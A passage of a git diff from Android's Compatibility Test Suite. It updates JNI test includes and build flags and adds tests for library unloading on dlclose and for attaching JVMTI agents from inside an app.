 #define  LOGI(...)  __android_log_print(ANDROID_LOG_INFO,"namespacea1",__VA_ARGS__)
 
diff --git a/tests/tests/jni/libjninamespacea2/Android.mk b/tests/tests/jni/libjninamespacea2/Android.mk
index 9b515c9..2642203 100644
--- a/tests/tests/jni/libjninamespacea2/Android.mk
+++ b/tests/tests/jni/libjninamespacea2/Android.mk
@@ -27,6 +27,8 @@
 
 LOCAL_SRC_FILES := namespacea2.cpp
 
+LOCAL_CFLAGS := -Wall -Werror
+
 LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) $(LOCAL_PATH)/../libjnicommon/
 
 LOCAL_LDLIBS += -llog
diff --git a/tests/tests/jni/libjninamespacea2/namespacea2.cpp b/tests/tests/jni/libjninamespacea2/namespacea2.cpp
index 809266e..49f055e 100644
--- a/tests/tests/jni/libjninamespacea2/namespacea2.cpp
+++ b/tests/tests/jni/libjninamespacea2/namespacea2.cpp
@@ -18,7 +18,7 @@
 
 #include <android/log.h>
 #include <jni.h>
-#include <JNIHelp.h>
+#include <nativehelper/JNIHelp.h>
 
 #define  LOGI(...)  __android_log_print(ANDROID_LOG_INFO,"namespacea2",__VA_ARGS__)
 
diff --git a/tests/tests/jni/libjninamespaceb/Android.mk b/tests/tests/jni/libjninamespaceb/Android.mk
index 4d3e158..0588a49 100644
--- a/tests/tests/jni/libjninamespaceb/Android.mk
+++ b/tests/tests/jni/libjninamespaceb/Android.mk
@@ -27,6 +27,8 @@
 
 LOCAL_SRC_FILES := namespaceb.cpp
 
+LOCAL_CFLAGS := -Wall -Werror
+
 LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) $(LOCAL_PATH)/../libjnicommon/
 
 LOCAL_LDLIBS += -llog
diff --git a/tests/tests/jni/libjninamespaceb/namespaceb.cpp b/tests/tests/jni/libjninamespaceb/namespaceb.cpp
index b3bedcb..4c48627 100644
--- a/tests/tests/jni/libjninamespaceb/namespaceb.cpp
+++ b/tests/tests/jni/libjninamespaceb/namespaceb.cpp
@@ -18,7 +18,7 @@
 
 #include <android/log.h>
 #include <jni.h>
-#include <JNIHelp.h>
+#include <nativehelper/JNIHelp.h>
 
 #define  LOGI(...)  __android_log_print(ANDROID_LOG_INFO,"namespaceb",__VA_ARGS__)
 
diff --git a/tests/tests/jni/libjnitest/Android.mk b/tests/tests/jni/libjnitest/Android.mk
index 7140de4..b94f07b 100644
--- a/tests/tests/jni/libjnitest/Android.mk
+++ b/tests/tests/jni/libjnitest/Android.mk
@@ -26,6 +26,7 @@
 LOCAL_MODULE_TAGS := optional
 
 LOCAL_SRC_FILES := \
+	android_jni_cts_BasicLoaderTest.cpp \
 	android_jni_cts_InstanceNonce.c \
 	android_jni_cts_JniCTest.c \
 	android_jni_cts_JniCppTest.cpp \
@@ -42,4 +43,21 @@
 LOCAL_SDK_VERSION := 23
 LOCAL_NDK_STL_VARIANT := c++_static
 
+LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
+LOCAL_CFLAGS += -Wno-format -Wno-gnu-designator
+
+include $(BUILD_SHARED_LIBRARY)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := libjni_test_dlclose
+
+LOCAL_SRC_FILES := taxicab_number.cpp
+
+LOCAL_CFLAGS += -Wall -Werror
+
+LOCAL_SDK_VERSION := 23
+
+LOCAL_NDK_STL_VARIANT := c++_static
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_BasicLoaderTest.cpp b/tests/tests/jni/libjnitest/android_jni_cts_BasicLoaderTest.cpp
new file mode 100644
index 0000000..704cd4f
--- /dev/null
+++ b/tests/tests/jni/libjnitest/android_jni_cts_BasicLoaderTest.cpp
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/*
+ * Tests accessibility of platform native libraries
+ */
+
+#include <dlfcn.h>
+#include <jni.h>
+#include <libgen.h>
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <unistd.h>
+
+#include <string>
+
+#include "nativehelper/JNIHelp.h"
+#include "nativehelper/ScopedLocalRef.h"
+#include "nativehelper/ScopedUtfChars.h"
+
+static constexpr const char* kTestLibName = "libjni_test_dlclose.so";
+
+static bool run_test(std::string* error_msg) {
+  void* handle = dlopen(kTestLibName, RTLD_NOW);
+  if (handle == nullptr) {
+    *error_msg = dlerror();
+    return false;
+  }
+
+  void* taxicab_number = dlsym(handle, "dlopen_testlib_taxicab_number");
+  if (taxicab_number == nullptr) {
+    *error_msg = dlerror();
+    return false;
+  }
+
+  dlclose(handle);
+
+  uintptr_t page_start = reinterpret_cast<uintptr_t>(taxicab_number) & ~(PAGE_SIZE - 1);
+  if (mprotect(reinterpret_cast<void*>(page_start), PAGE_SIZE, PROT_NONE) == 0) {
+    *error_msg = std::string("The library \"") +
+                 kTestLibName +
+                 "\" has not been unloaded on dlclose()";
+    return false;
+  }
+
+  if (errno != ENOMEM) {
+    *error_msg = std::string("Unexpected error on mprotect: ") + strerror(errno);
+    return false;
+  }
+
+  return true;
+}
+
+extern "C" JNIEXPORT jstring JNICALL Java_android_jni_cts_BasicLoaderTestHelper_nativeRunTests(
+        JNIEnv* env) {
+  std::string error_str;
+
+  if (!run_test(&error_str)) {
+    return env->NewStringUTF(error_str.c_str());
+  }
+
+  return nullptr;
+}
+
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_InstanceNonce.c b/tests/tests/jni/libjnitest/android_jni_cts_InstanceNonce.c
index 3fda82a..cb44b42a 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_InstanceNonce.c
+++ b/tests/tests/jni/libjnitest/android_jni_cts_InstanceNonce.c
@@ -20,7 +20,7 @@
  */
 
 #include <jni.h>
-#include <JNIHelp.h>
+#include <nativehelper/JNIHelp.h>
 
 #include <stdbool.h>
 #include <string.h>
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_JniCTest.c b/tests/tests/jni/libjnitest/android_jni_cts_JniCTest.c
index 23278dc..cca5383 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_JniCTest.c
+++ b/tests/tests/jni/libjnitest/android_jni_cts_JniCTest.c
@@ -19,7 +19,7 @@
  */
 
 #include <jni.h>
-#include <JNIHelp.h>
+#include <nativehelper/JNIHelp.h>
 
 
 /*
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_JniCppTest.cpp b/tests/tests/jni/libjnitest/android_jni_cts_JniCppTest.cpp
index 38829a0..b0937f4 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_JniCppTest.cpp
+++ b/tests/tests/jni/libjnitest/android_jni_cts_JniCppTest.cpp
@@ -19,7 +19,7 @@
  */
 
 #include <jni.h>
-#include <JNIHelp.h>
+#include <nativehelper/JNIHelp.h>
 
 
 /*
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_JniStaticTest.cpp b/tests/tests/jni/libjnitest/android_jni_cts_JniStaticTest.cpp
index 5e8bea0..aa5651f 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_JniStaticTest.cpp
+++ b/tests/tests/jni/libjnitest/android_jni_cts_JniStaticTest.cpp
@@ -19,7 +19,7 @@
  */
 
 #include <jni.h>
-#include <JNIHelp.h>
+#include <nativehelper/JNIHelp.h>
 
 extern "C" JNIEXPORT jint JNICALL Java_android_jni_cts_ClassLoaderHelper_nativeGetHashCode(
         JNIEnv* env,
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
index 504ae01..33a9a1d 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
+++ b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
@@ -22,7 +22,6 @@
 #include <dlfcn.h>
 #include <fcntl.h>
 #include <jni.h>
-#include <JNIHelp.h>
 #include <libgen.h>
 #include <stdlib.h>
 #include <sys/types.h>
@@ -34,8 +33,9 @@
 #include <unordered_set>
 #include <vector>
 
-#include "ScopedLocalRef.h"
-#include "ScopedUtfChars.h"
+#include <nativehelper/JNIHelp.h>
+#include <nativehelper/ScopedLocalRef.h>
+#include <nativehelper/ScopedUtfChars.h>
 
 #if defined(__LP64__)
 static const std::string kSystemLibraryPath = "/system/lib64";
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_StaticNonce.c b/tests/tests/jni/libjnitest/android_jni_cts_StaticNonce.c
index ada2bf8..4e330e5 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_StaticNonce.c
+++ b/tests/tests/jni/libjnitest/android_jni_cts_StaticNonce.c
@@ -20,7 +20,7 @@
  */
 
 #include <jni.h>
-#include <JNIHelp.h>
+#include <nativehelper/JNIHelp.h>
 
 #include <stdbool.h>
 #include <string.h>
diff --git a/tests/tests/jni/libjnitest/macroized_tests.c b/tests/tests/jni/libjnitest/macroized_tests.c
index 130b378..e8ac08f 100644
--- a/tests/tests/jni/libjnitest/macroized_tests.c
+++ b/tests/tests/jni/libjnitest/macroized_tests.c
@@ -182,13 +182,13 @@
 // TODO: Missing functions:
 //   AllocObject
 
-static char *help_CallBooleanMethod(JNIEnv *env, callType ct, ...) {
+static char *help_CallBooleanMethod(JNIEnv *env, int ct, ...) {
     va_list args;
     va_start(args, ct);
 
     char *msg;
     jobject o = getStandardInstance(env);
-    jmethodID method = findAppropriateMethod(env, &msg, ct,
+    jmethodID method = findAppropriateMethod(env, &msg, (callType)ct,
             "returnBoolean", "()Z");
 
     if (method == NULL) {
@@ -287,13 +287,13 @@
     return help_CallBooleanMethod(env, STATIC_VA);
 }
 
-static char *help_CallByteMethod(JNIEnv *env, callType ct, ...) {
+static char *help_CallByteMethod(JNIEnv *env, int ct, ...) {
     va_list args;
     va_start(args, ct);
 
     char *msg;
     jobject o = getStandardInstance(env);
-    jmethodID method = findAppropriateMethod(env, &msg, ct,
+    jmethodID method = findAppropriateMethod(env, &msg, (callType)ct,
             "returnByte", "()B");
 
     if (method == NULL) {
@@ -392,13 +392,13 @@
     return help_CallByteMethod(env, STATIC_VA);
 }
 
-static char *help_CallShortMethod(JNIEnv *env, callType ct, ...) {
+static char *help_CallShortMethod(JNIEnv *env, int ct, ...) {
     va_list args;
     va_start(args, ct);
 
     char *msg;
     jobject o = getStandardInstance(env);
-    jmethodID method = findAppropriateMethod(env, &msg, ct,
+    jmethodID method = findAppropriateMethod(env, &msg, (callType)ct,
             "returnShort", "()S");
 
     if (method == NULL) {
@@ -497,13 +497,13 @@
     return help_CallShortMethod(env, STATIC_VA);
 }
 
-static char *help_CallCharMethod(JNIEnv *env, callType ct, ...) {
+static char *help_CallCharMethod(JNIEnv *env, int ct, ...) {
     va_list args;
     va_start(args, ct);
 
     char *msg;
     jobject o = getStandardInstance(env);
-    jmethodID method = findAppropriateMethod(env, &msg, ct,
+    jmethodID method = findAppropriateMethod(env, &msg, (callType)ct,
             "returnChar", "()C");
 
     if (method == NULL) {
@@ -602,13 +602,13 @@
     return help_CallCharMethod(env, STATIC_VA);
 }
 
-static char *help_CallIntMethod(JNIEnv *env, callType ct, ...) {
+static char *help_CallIntMethod(JNIEnv *env, int ct, ...) {
     va_list args;
     va_start(args, ct);
 
     char *msg;
     jobject o = getStandardInstance(env);
-    jmethodID method = findAppropriateMethod(env, &msg, ct,
+    jmethodID method = findAppropriateMethod(env, &msg, (callType)ct,
             "returnInt", "()I");
 
     if (method == NULL) {
@@ -707,13 +707,13 @@
     return help_CallIntMethod(env, STATIC_VA);
 }
 
-static char *help_CallLongMethod(JNIEnv *env, callType ct, ...) {
+static char *help_CallLongMethod(JNIEnv *env, int ct, ...) {
     va_list args;
     va_start(args, ct);
 
     char *msg;
     jobject o = getStandardInstance(env);
-    jmethodID method = findAppropriateMethod(env, &msg, ct,
+    jmethodID method = findAppropriateMethod(env, &msg, (callType)ct,
             "returnLong", "()J");
 
     if (method == NULL) {
@@ -812,13 +812,13 @@
     return help_CallLongMethod(env, STATIC_VA);
 }
 
-static char *help_CallFloatMethod(JNIEnv *env, callType ct, ...) {
+static char *help_CallFloatMethod(JNIEnv *env, int ct, ...) {
     va_list args;
     va_start(args, ct);
 
     char *msg;
     jobject o = getStandardInstance(env);
-    jmethodID method = findAppropriateMethod(env, &msg, ct,
+    jmethodID method = findAppropriateMethod(env, &msg, (callType)ct,
             "returnFloat", "()F");
 
     if (method == NULL) {
@@ -917,13 +917,13 @@
     return help_CallFloatMethod(env, STATIC_VA);
 }
 
-static char *help_CallDoubleMethod(JNIEnv *env, callType ct, ...) {
+static char *help_CallDoubleMethod(JNIEnv *env, int ct, ...) {
     va_list args;
     va_start(args, ct);
 
     char *msg;
     jobject o = getStandardInstance(env);
-    jmethodID method = findAppropriateMethod(env, &msg, ct,
+    jmethodID method = findAppropriateMethod(env, &msg, (callType)ct,
             "returnDouble", "()D");
 
     if (method == NULL) {
@@ -1022,13 +1022,13 @@
     return help_CallDoubleMethod(env, STATIC_VA);
 }
 
-static char *help_CallVoidMethod(JNIEnv *env, callType ct, ...) {
+static char *help_CallVoidMethod(JNIEnv *env, int ct, ...) {
     va_list args;
     va_start(args, ct);
 
     char *msg;
     jobject o = getStandardInstance(env);
-    jmethodID method = findAppropriateMethod(env, &msg, ct,
+    jmethodID method = findAppropriateMethod(env, &msg, (callType)ct,
             "nop", "()V");
 
     if (method == NULL) {
@@ -1127,13 +1127,13 @@
     return help_CallVoidMethod(env, STATIC_VA);
 }
 
-static char *help_CallObjectMethod(JNIEnv *env, callType ct, ...) {
+static char *help_CallObjectMethod(JNIEnv *env, int ct, ...) {
     va_list args;
     va_start(args, ct);
 
     char *msg;
     jobject o = getStandardInstance(env);
-    jmethodID method = findAppropriateMethod(env, &msg, ct,
+    jmethodID method = findAppropriateMethod(env, &msg, (callType)ct,
             "returnString", "()Ljava/lang/String;");
 
     if (method == NULL) {
@@ -1250,13 +1250,13 @@
     return help_CallObjectMethod(env, STATIC_VA);
 }
 
-static char *help_TakeOneOfEach(JNIEnv *env, callType ct, ...) {
+static char *help_TakeOneOfEach(JNIEnv *env, int ct, ...) {
     va_list args;
     va_start(args, ct);
 
     char *msg;
     jobject o = getStandardInstance(env);
-    jmethodID method = findAppropriateMethod(env, &msg, ct,
+    jmethodID method = findAppropriateMethod(env, &msg, (callType)ct,
             "takeOneOfEach", "(DFJICSBZLjava/lang/String;)Z");
 
     if (method == NULL) {
@@ -1372,13 +1372,13 @@
             (jboolean) true, biscuits);
 }
 
-static char *help_TakeCoolHandLuke(JNIEnv *env, callType ct, ...) {
+static char *help_TakeCoolHandLuke(JNIEnv *env, int ct, ...) {
     va_list args;
     va_start(args, ct);
 
     char *msg;
     jobject o = getStandardInstance(env);
-    jmethodID method = findAppropriateMethod(env, &msg, ct,
+    jmethodID method = findAppropriateMethod(env, &msg, (callType)ct,
             "takeCoolHandLuke",
             "(IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII)Z");
 
diff --git a/tests/tests/jni/libjnitest/taxicab_number.cpp b/tests/tests/jni/libjnitest/taxicab_number.cpp
new file mode 100644
index 0000000..3226955
--- /dev/null
+++ b/tests/tests/jni/libjnitest/taxicab_number.cpp
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdint.h>
+#include <stdlib.h>
+
+uint32_t dlopen_testlib_taxicab_number = 1729;
+
+extern "C" bool dlopen_testlib_simple_func() {
+  return true;
+}
diff --git a/tests/tests/jni/src/android/jni/cts/BasicLoaderTestHelper.java b/tests/tests/jni/src/android/jni/cts/BasicLoaderTestHelper.java
new file mode 100644
index 0000000..389dc16
--- /dev/null
+++ b/tests/tests/jni/src/android/jni/cts/BasicLoaderTestHelper.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jni.cts;
+
+class BasicLoaderTestHelper {
+    static {
+        System.loadLibrary("jnitest");
+    }
+
+    static native String nativeRunTests();
+}
diff --git a/tests/tests/jni/src/android/jni/cts/JniStaticTest.java b/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
index d2e90c6..b122457 100644
--- a/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
+++ b/tests/tests/jni/src/android/jni/cts/JniStaticTest.java
@@ -49,6 +49,13 @@
         }
     }
 
+    public void test_loader_basic() throws Exception {
+        String error = BasicLoaderTestHelper.nativeRunTests();
+        if (error != null) {
+            fail(error);
+        }
+    }
+
     /**
      * Test that accessing classes true JNI works as expected. b/19382130
      */
diff --git a/hostsidetests/jvmti/run-tests/test-981/Android.mk b/tests/tests/jvmti/Android.mk
similarity index 69%
copy from hostsidetests/jvmti/run-tests/test-981/Android.mk
copy to tests/tests/jvmti/Android.mk
index 4bbc20a..8facc9f 100644
--- a/hostsidetests/jvmti/run-tests/test-981/Android.mk
+++ b/tests/tests/jvmti/Android.mk
@@ -1,4 +1,4 @@
-# Copyright (C) 2014 The Android Open Source Project
+# Copyright (C) 2017 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -14,13 +14,5 @@
 
 LOCAL_PATH := $(call my-dir)
 
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest981HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
+# Include the associated library's makefile.
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk b/tests/tests/jvmti/attaching/Android.mk
similarity index 63%
copy from hostsidetests/jvmti/run-tests/test-981/app/Android.mk
copy to tests/tests/jvmti/attaching/Android.mk
index ec8f7aa..dc13854 100644
--- a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk
+++ b/tests/tests/jvmti/attaching/Android.mk
@@ -12,22 +12,25 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-LOCAL_PATH:= $(call my-dir)
+LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
 
-LOCAL_MODULE_TAGS := tests
+LOCAL_PACKAGE_NAME := CtsJvmtiAttachingTestCases
+
+LOCAL_MODULE_TAGS := optional
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
 LOCAL_MULTILIB := both
+LOCAL_JNI_SHARED_LIBRARIES := libjvmtiattachingtestagent
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
 LOCAL_SDK_VERSION := current
 
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest981DeviceApp
+include $(BUILD_CTS_PACKAGE)
 
-include $(BUILD_PACKAGE)
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/jvmti/attaching/AndroidManifest.xml b/tests/tests/jvmti/attaching/AndroidManifest.xml
new file mode 100644
index 0000000..16acb14
--- /dev/null
+++ b/tests/tests/jvmti/attaching/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jmvti.attaching.cts">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.jmvti.attaching.cts"
+                     android:label="CTS tests for attaching jvmti agents from inside the app">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
+
diff --git a/tests/tests/jvmti/attaching/AndroidTest.xml b/tests/tests/jvmti/attaching/AndroidTest.xml
new file mode 100644
index 0000000..1b4ed05
--- /dev/null
+++ b/tests/tests/jvmti/attaching/AndroidTest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<configuration description="Config for CTS jvmti attaching test cases">
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiAttachingTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.jmvti.attaching.cts" />
+        <option name="runtime-hint" value="18s" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk b/tests/tests/jvmti/attaching/jni/Android.mk
similarity index 60%
copy from hostsidetests/jvmti/run-tests/test-981/app/Android.mk
copy to tests/tests/jvmti/attaching/jni/Android.mk
index ec8f7aa..8f364e2 100644
--- a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk
+++ b/tests/tests/jvmti/attaching/jni/Android.mk
@@ -12,22 +12,25 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
+#
+# This is the shared library included by the JNI test app.
+#
+
 LOCAL_PATH:= $(call my-dir)
 
 include $(CLEAR_VARS)
 
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
+LOCAL_MODULE := libjvmtiattachingtestagent
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := agent.c
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
+
 LOCAL_SDK_VERSION := current
+LOCAL_NDK_STL_VARIANT := c++_static
 
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest981DeviceApp
+LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
 
-include $(BUILD_PACKAGE)
+include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/jvmti/attaching/jni/agent.c b/tests/tests/jvmti/attaching/jni/agent.c
new file mode 100644
index 0000000..1b1d6df
--- /dev/null
+++ b/tests/tests/jvmti/attaching/jni/agent.c
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+
+#include <string.h>
+#include <stdbool.h>
+
+static bool sIsAttached = false;
+
+jint
+Agent_OnAttach(JavaVM* vm,
+               char* options,
+               void* reserved) {
+    if (options != NULL && options[0] == 'a') {
+        sIsAttached = true;
+        return JNI_OK;
+    } else {
+        return JNI_ERR;
+    }
+}
+
+JNIEXPORT jboolean JNICALL
+Java_android_jvmti_attaching_cts_AttachingTest_isAttached(JNIEnv *env,
+                                                          jclass klass) {
+    if (sIsAttached) {
+        return JNI_TRUE;
+    } else {
+        return JNI_FALSE;
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/jvmti/attaching/src/android.jvmti.attaching.cts/AttachingTest.java b/tests/tests/jvmti/attaching/src/android.jvmti.attaching.cts/AttachingTest.java
new file mode 100644
index 0000000..27f4131
--- /dev/null
+++ b/tests/tests/jvmti/attaching/src/android.jvmti.attaching.cts/AttachingTest.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jvmti.attaching.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.os.Debug;
+import android.support.test.runner.AndroidJUnit4;
+
+import dalvik.system.BaseDexClassLoader;
+
+import org.junit.BeforeClass;
+import org.junit.FixMethodOrder;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.MethodSorters;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+
+@RunWith(AndroidJUnit4.class)
+@FixMethodOrder(MethodSorters.NAME_ASCENDING)
+public class AttachingTest {
+    private static String sAgentFile;
+
+    @BeforeClass
+    public static void copyAgentToFile() throws Exception {
+        ClassLoader cl = AttachingTest.class.getClassLoader();
+        assertTrue(cl instanceof BaseDexClassLoader);
+
+        File copiedAgent = File.createTempFile("agent", ".so");
+        try (InputStream is = new FileInputStream(
+                ((BaseDexClassLoader) cl).findLibrary("jvmtiattachingtestagent"))) {
+            try (OutputStream os = new FileOutputStream(copiedAgent)) {
+                byte[] buffer = new byte[64 * 1024];
+
+                while (true) {
+                    int numRead = is.read(buffer);
+                    if (numRead == -1) {
+                        break;
+                    }
+                    os.write(buffer, 0, numRead);
+                }
+            }
+        }
+
+        sAgentFile = copiedAgent.getAbsolutePath();
+    }
+
+    @Test(expected = IOException.class)
+    public void a_attachInvalidAgent() throws Exception {
+        Debug.attachJvmtiAgent(File.createTempFile("badAgent", ".so").getAbsolutePath(), null);
+    }
+
+    @Test(expected = IOException.class)
+    public void a_attachInvalidPath() throws Exception {
+        Debug.attachJvmtiAgent(sAgentFile + ".invalid", null);
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void a_attachNullAgent() throws Exception {
+        Debug.attachJvmtiAgent(null, null);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void a_attachWithEquals() throws Exception {
+        Debug.attachJvmtiAgent(File.createTempFile("=", ".so").getAbsolutePath(), null);
+    }
+
+    @Test(expected = IOException.class)
+    public void a_attachWithNullOptions() throws Exception {
+        Debug.attachJvmtiAgent(sAgentFile, null);
+    }
+
+    @Test(expected = IOException.class)
+    public void a_attachWithBadOptions() throws Exception {
+        Debug.attachJvmtiAgent(sAgentFile, "b");
+    }
+
+    @Test
+    public void b_attach() throws Exception {
+        Debug.attachJvmtiAgent(sAgentFile, "a");
+
+        assertTrue(isAttached());
+    }
+
+    native static boolean isAttached();
